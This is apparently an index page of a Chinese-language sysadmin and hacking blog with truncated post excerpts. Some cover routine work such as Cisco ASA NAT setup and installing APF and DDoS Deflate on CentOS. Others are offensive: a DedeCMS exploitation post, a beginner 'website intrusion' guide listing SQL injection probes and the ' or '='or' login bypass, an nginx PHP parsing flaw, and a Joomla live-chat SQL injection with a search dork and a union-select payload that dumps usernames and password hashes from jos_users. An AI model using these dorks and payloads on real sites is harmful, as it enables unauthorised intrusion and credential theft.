cisco asa 5500 系列 NAT 配置
0 个评论
cisco asa 5500 版本升级到8.3 以后， nat 命令就有所不同了， 主要看官方的文档可以看出来的， 下面就直接用官方的tem来写了， 非常的简单
?View Code TEXT1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
The following example configures static NAT for the real host 10.1.1.1 on the inside t...
阅读全文
centos APF,BFD,DDoS Deflate 安装配置
0 个评论
一， 下载源码包
?View Code TEXT1
2
3
wget http://www.rfxn.com/downloads/apf-current.tar.gz
wget http://www.rfxn.com/downloads/bfd-current.tar.gz
wget http://www.inetbase.com/scripts/ddos/install.sh
二， 安装APF
?View Code TEXT1
2
3
4
5
tar -xvzf apf-current.tar.gz
cd apf-9.7-1
./inst...
阅读全文
dedecms 漏洞利用
0 个评论
漏洞已经出了很久了……
影响版本:
DEDECMS v5.3-v5.6
分析文件
article_add.php
1. ……………………
2. else if($dopost==’save’)
3. {
4. include(DEDEMEMBER.’/inc/archives_check.php’);
5.
6. //分析处理附加表数据
7. $ina...
阅读全文
网站入侵思路
1 个评论
网站入侵思路（初级黑客渗透篇）
1，〓经典注入〓
通常，判断一个网站是否存在注入点，可以用’，and 1=1 ,and 1=2,+and+1=1,+and+1=2,%20and%201=1,%20and%201=2,来判断，如果and 1=1正常返回页面，1=2错误，或者找不到，那么就存在注入点
2，〓万能密码OR漏洞〓
万能密码’or’='or’,可以...
阅读全文
PHP文件解析漏洞
0 个评论
漏洞介绍：nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。 80sec发现其中存在一个较为严重的安全问题，默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得 恶意的攻击者可能攻陷支持php的nginx服务器...
阅读全文
joomla sql 注入漏洞！！！
0 个评论
Jomla Live chat
Dork:
allinurl:option=com_livechat
Exploit :
administrator/components/com_livechat/getChat.php?chat=0&last=1=+union+select+
1,unhex(hex(concat(username,0×3a,password))),3,4+from+jos_users
administrator/components/com_livechat/getSavedChatRooms.php?chat=
0&l...
阅读全文